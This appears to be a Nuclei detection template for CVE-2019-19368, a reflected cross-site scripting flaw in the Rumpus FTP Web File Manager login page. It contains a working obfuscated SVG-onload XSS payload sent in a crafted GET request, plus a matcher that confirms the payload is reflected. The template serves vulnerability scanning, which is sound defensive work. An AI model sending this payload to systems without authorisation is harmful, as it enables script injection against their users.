id: CVE-2019-19368

info:
  name: Rumpus FTP Web File Manager 8.2.9.1 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: Rumpus FTP Web File Manager 8.2.9.1 contains a reflected cross-site scripting vulnerability via the Login page. An attacker can send a crafted link to end users and can execute arbitrary JavaScript.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Rumpus FTP Web File Manager or apply the vendor-provided patch to mitigate this vulnerability.
  reference:
    - https://github.com/harshit-shukla/CVE-2019-19368/
    - https://www.maxum.com/Rumpus/Download.html
    - http://packetstormsecurity.com/files/155719/Rumpus-FTP-Web-File-Manager-8.2.9.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19368
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-19368
    cwe-id: CWE-79
    epss-score: 0.75637
    epss-percentile: 0.98923
    cpe: cpe:2.3:a:maxum:rumpus:8.2.9.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: maxum
    product: rumpus
  tags: cve,cve2019,xss,ftp,packetstorm,maxum,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Login?!'><sVg/OnLoAD=alert`1337`//"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "value=''><sVg/OnLoAD=alert`1337`//'>"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008816b6ebf90ead85f5e67d22a78aa595ab73f1185311cfba1b31ad7b03f6d56c022100b142d3e01a933cd07b1ef426f5560a1fa7f463e4673e0b3fee2cfff8e8e2afdc:922c64590222798bb761d5b6d8e72950